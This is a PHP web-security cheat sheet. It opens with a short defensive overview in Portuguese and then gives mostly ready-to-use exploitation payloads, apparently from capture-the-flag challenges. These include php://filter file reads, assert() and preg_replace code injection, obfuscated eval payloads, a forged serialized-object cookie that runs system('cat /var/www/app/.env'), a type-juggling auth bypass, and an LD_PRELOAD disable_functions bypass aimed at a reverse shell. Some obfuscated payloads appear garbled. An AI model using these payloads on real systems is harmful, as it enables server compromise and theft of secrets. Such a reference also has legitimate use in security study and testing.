Vulnerabilities

PHP Descrição:

PHP, como qualquer outro software, pode ser vulnerável a problemas e vulnerabilidades de segurança. Essas vulnerabilidades podem ser potencialmente exploradas por agentes mal-intencionados para comprometer a segurança de um aplicativo ou servidor web. Algumas vulnerabilidades comuns do PHP incluem:

1) Cross-Site Scripting (XSS): vulnerabilidades XSS ocorrem quando um aplicativo inclui dados não confiáveis em sua saída e esses dados podem ser executados como JavaScript no navegador de um usuário. Isso permite que invasores injetem scripts maliciosos em páginas da Web visualizadas por outros usuários.

2) Injeção de SQL: as vulnerabilidades de injeção de SQL ocorrem quando um aplicativo não limpa ou valida adequadamente a entrada do usuário antes de incluí-la nas consultas SQL. Os invasores podem manipular a entrada para executar comandos SQL arbitrários, obtendo potencialmente acesso não autorizado a um banco de dados.

3) Execução Remota de Código (RCE): As vulnerabilidades RCE ocorrem quando um invasor pode executar código arbitrário no servidor. Isso pode levar ao comprometimento total do servidor e é um grave problema de segurança.

4) Vulnerabilidades de inclusão de arquivos: A inclusão insegura de arquivos permite que invasores incluam e executem arquivos arbitrários, levando potencialmente ao acesso não autorizado ou à execução de código no servidor.

5) Falsificação de solicitação entre sites (CSRF): vulnerabilidades de CSRF podem induzir os usuários a realizar ações que não pretendiam em um aplicativo da web. Isto pode levar a ações não autorizadas, como alterar configurações ou fazer transações indesejadas.

6) Desserialização insegura: os invasores podem explorar a desserialização insegura para manipular dados ou executar código malicioso no servidor.

7) Passagem de diretório: As vulnerabilidades de passagem de diretório permitem que invasores acessem arquivos ou diretórios fora do escopo pretendido, revelando potencialmente informações confidenciais.

8) Divulgação de informações: Isso pode incluir a revelação de informações confidenciais, como arquivos de configuração, detalhes do servidor ou código-fonte do aplicativo, que podem ser aproveitadas pelos invasores para encontrar outras vulnerabilidades.

Autenticação e autorização inadequadas: Mecanismos fracos de autenticação e autorização podem levar ao acesso não autorizado a áreas confidenciais de um aplicativo.

Para mitigar essas vulnerabilidades ao usar PHP, siga as práticas recomendadas, incluindo: Mantenha o PHP e seus componentes associados atualizados com patches de segurança. Use validação de entrada e codificação de saída para evitar ataques de injeção XSS e SQL. Implemente um mecanismo robusto de controle de acesso para proteger contra acesso não autorizado. Use instruções preparadas e consultas parametrizadas para evitar injeção de SQL. Evite incluir dados não confiáveis em caminhos de arquivos e use listas de permissões para inclusão de arquivos. Implemente tokens anti-CSRF em seus formulários para proteção contra ataques CSRF. Proteja informações e arquivos confidenciais para evitar a divulgação de informações. Revise e audite regularmente seu código em busca de problemas de segurança. Use firewalls de aplicativos da web e outras ferramentas de segurança para fornecer uma camada adicional de proteção. Lembre-se de que as vulnerabilidades do PHP não se limitam à linguagem PHP em si, mas também podem ser causadas por configurações incorretas, configurações do servidor e pelo código que você escreve. Manter-se informado sobre as melhores práticas de segurança e atualizar regularmente seu software e base de código é crucial para manter um ambiente PHP seguro.

PHP Filters

# Base64 ?inc=php://filter/read=convert.base64-encode/resource=config.php # iconv conversion filter can be used (https://gynvael.coldwind.pl/?lang=en&id=671) # allows you to use iconv to convert all processed data from charset A to charset B # where both character sets can be chosen from a surprisingly long list of supported encodings iconv -l # Example <?php $url = "php://filter/convert.iconv.UTF-8%2fUTF-7/resource=data:,some<>text"; echo file_get_contents($url); // Output: // some+ADwAPg-text # Then you can use it to change the charset of your payload php://filter/convert.iconv.CHARSET1%2fCHARSET2/resource=/flag # Recovering process <?php $d = file_get_contents( "php://filter/convert.iconv.UTF-32BE%2fIBM1154/resource=". "data:image/png;base64,AAAEWAAAACsAAARbAAAAIwAABFsAAAA/AA". "AAKAAAAC8AAAA+AAAAYAAABCoAAAQFAAAEAwAABAYAAAAlAAAALwAABD". "AAAACtAAAEUwAAAC8AAAA+AAAEDgAABAMAAAQFAAAEBwAAAD8AAAA/AA". "AEBAAABAYAAAA/AAAEDAAAAGAAAAA/AAAEDwAAACcAAACO"); echo $d;

Assert() PHP functions

The assert() function will execute code in params

Example using challenge

?page=.. Warning : assert() : Assertion "strpos(’includes/...php’, ’..’) === false" failed in path/index.php on line 8

The request looks like this

assert("strpos('includes/' . $_GET['page'] . '.php', '..') === false")

If we inject this

?page=salade.php','..') || print('tomate') || strpos('oignons

The request will look like

assert("strpos('/includes/salade.php','..') || print('tomate') || strpos('oignons.php','..') ===false")

Then, to exploit

?page=salade.php','..') || show_source('.passwd') || strpos('oignons

PHP preg_replace()

In PHP, regular expressions need delimiter

preg_match("recherche","contenu"); # wrong preg_match("/recherche/","contenu"); # OK

preg_replace offers an option to execute code

preg_replace("input1search","input2replace","input3content"); preg_replace("/a/e","print(123)","abcd"); preg_replace("/a/e","print_r(scandir('.'))","abcd"); preg_replace("/a/e","file_get_contents('flag.php')","abcd");

PHP preg_match()

It is possible to bypass some functions like preg_match by injecting non-alphanumeric char

If the application uses eval() on the user input, the payload will still be executed

Application code

if(!preg_match('/[a-zA-Z`]/', $_POST['input'])){ print '

Result'; eval('print '.$_POST['input'].";"); print ''; }

Exploitation and Bypass

You can encode the payload in octal

→ file_get_contents(".passwd") → "\146\151\154\145\137\147\145\164\137\143\157\156\164\145\156\164\163"("\056\160\141\163\163\167\144")

You can also use non alphanumeric char (https://github.com/v1ll41n/Und3rCov3r)

echo -n “phpinfo();” > tmp.php php Und3rCov3r.ph 1 tmp.php

If will create an alphax.php file containing the encoded payload

$[]++;$[]=$.;$=$_[(++$[])][(++$[])+(++$[])+(++$[])];$=$[$[+]];$=$=$[++$__[]];$=$=$[+];$++;$++;$++;$=$.++$.$.++$_.$.++$;$=$;$=$_____;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$=+;$.=$;$=++$^$[+];$=+;$__++;$++;$++;$++;$++;$__++;$++;$++;$++;$_____++;$________++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$____++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$_____________++; $('$="'.$.$.$.$.$.$.$__________.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$_.$.$.$.$.$_____.$.$.$.$.$.$.$.$_______.$___.'"');$($);

You can then for example read file

→ readfile(".passwd"); $[]++;$[]=$.;$=$_[(++$[])][(++$[])+(++$[])+(++$[])];$=$[$[+]];$=$=$[++$__[]];$=$=$[+];$++;$++;$++;$=$.++$.$.++$_.$.++$;$=$;$=$_____;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$=+;$.=$;$=++$^$[+];$=+;$__++;$++;$++;$++;$++;$__++;$++;$++;$++;$_____++;$________++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$_++;$____++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$_____________++; $('$="'.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$__.$.$.$.$.$.$.$.$.$.$.$.$__________.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$_______.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$.'"');$($_);

PHP Serealization

Resources https://www.owasp.org/index.php/PHP_Object_Injection

PHP Serialisation (PHP Slim __wakeup)

Context - \App\Controller\Confidential.php

$systemCall = new SystemCall('system("ls");');

    if($rank === UserRankService::ADMIN_RANK){
        $app->render('front/confidential.twig', array('admin' => $rank, 'systemCall' => $systemCall));
    }else {
        $app->redirect('/connexion', '/connexion', 301);
    }

Context - \Slim\Middleware\SessionCookie.php

if ($value) { try { $_SESSION = unserialize($value); } catch (\Exception $e) { $this->app->getLog()->error('Error unserializing session cookie value! ' . $e->getMessage()); }

Context - \App\Service\SystemCall.php

class SystemCall { public $hook; public $result;

function __construct($hook)
{   $this->hook = $hook;    }

function __wakeup()
{   $this->result = eval($this->hook);  }

function call()
{   $this->__wakeup();  }

}

You can override the __wakeup() method by crafting your own object and then inject it to execute command

The cookie value is unserialized and then evaluated

Base cookie

a:2:{s:10:"slim.flash";a:0:{}s:11:"Utilisateur";i:0;}

Create object to see what it looks like

Object you want to inject

O:22:"App\Service\SystemCall":2:{s:4:"hook";s:32:"system("cat /var/www/app/.env");";s:6:"result";N;}

Final cookie (URL encode it)

a:3:{s:10:"slim.flash";a:0:{}s:3:"Lol";O:22:"App\Service\SystemCall":2:{s:4:"hook";s:32:"system("cat /var/www/app/.env");";s:6:"result";N;}s:11:"Utilisateur";i:0;}

You can simplify it

You only need a string to initialize the object (to name it)

The array is not necessary

As long as you don't need to be admin, you can remove the user part

a:1:{s:10:"slim.flash";O:22:"App\Service\SystemCall":1:{s:4:"hook";s:32:"system("cat /var/www/app/.env");";}}

PHP Serialisation

Unserialize() is used to store every object as a string

Initial cookie unserialized

'a:2:{s:5:"login";s:5:"guest";s:8:"password";s:64:"84983c60f7daadc1cb8698621f802c0d9f9a3c3c295c810748fb048115c186ec";}'

Code

if ($data['password'] == $auth[ $data['login'] ] ) { $_SESSION['login'] = $data['login'];

Payload cookie (using a boolean)

'a:2:{s:5:"login";s:10:"superadmin";s:8:"password";b:1;}'

PHP type juggling

Type Juggling and Loose Comparison # Type Juggling # In PHP, “==” returns true if $a equals $b AFTER transtyping "0000" == int(0) -> TRUE "0e12" == int(0) -> TRUE "1abc" == int(1) -> TRUE "0abc" == int(0) -> TRUE "abc" == int(0) -> TRUE # Loose Comparison # In PHP, if “==” is used, then 2 strings beginning by “0e” and filled with numbers will always be equal # It means that you can use magic hashes (0exxxx...) to break the comparison # md5(240610708) = 0e462097431906509019562988736854 # So 0e == 240610708 → true # Magic hash for SHA-224 10885164793773 --> 0e281250946775200129471613219196999537878926740638594636 # Magic hash for SHA-256 34250003024812 --> 0e46289032038065916139621039085883773413820991920706299695051332 strcmp() # If you provide an array to strcmp() it returns NULL # NULL == 0

Tricks & others

Code auditing / Looking for vulnerabilities https://github.com/dustyfresh/PHP-vulnerability-audit-cheatsheet Bypass PHP disable_functions and open_basedir # PHP in Linux calls a binary (sendmail) when the mail() function is executed. # If we have putenv() allowed, we can set the environment variable "LD_PRELOAD", so we can # preload an arbitrary shared object. Our shared object will execute our custom # payload (a binary or a bash script) without the PHP restrictions, so we can have a reverse shell, for example. # Chankro tool is used for that (https://github.com/TarlogicSecurity/Chankro) python2 chankro.py --arch 64 --input rev.sh --output chan.php --path /var/www/html MISC # Path truncation # PHP max path is 4096 char # It is possible to bypass checks for one file, for example, by flooding the path before requesting a resource page=././././././././....... # There is a BIG difference between “$salt” and ‘$salt’. # Double quotes → interpreted as a variable # Simple quotes → interpreted as a string Register Globals index.php ?_SESSION[logged]=1